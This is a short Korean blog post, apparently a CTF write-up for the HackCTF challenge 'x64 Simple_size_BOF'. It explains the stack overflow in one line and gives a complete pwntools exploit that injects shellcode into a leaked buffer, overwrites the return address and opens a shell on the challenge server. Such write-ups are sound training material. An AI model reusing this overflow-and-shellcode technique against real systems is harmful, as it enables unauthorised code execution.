해킹/writeup

8. HackCTF - x64 Simple_size_BOF

rmagur1203 2021. 7. 11. 15:31

간단하다.

그냥 v4 주소 받고, v4에 쉘코드 넣고 나머지 + 8 만큼 \x90으로 채운 뒤 v4의 주소를 써서 RET 을 덮어 씌우면 된다.

from pwn import *

#p = process("./Simple_size_bof")
p = remote('ctf.j0n9hyun.xyz', 3005)

buffsize = 0x6d30

context(arch='amd64', os='linux')
shell = asm(shellcraft.amd64.linux.sh())

p.recvuntil('buf: ')
buffloc = int(p.recv(14), 16)

payload = b''
payload += shell
payload += b'\x90' * (buffsize - len(shell) + 8)
payload += p64(buffloc)

p.sendline(payload)

p.interactive()

 

728x90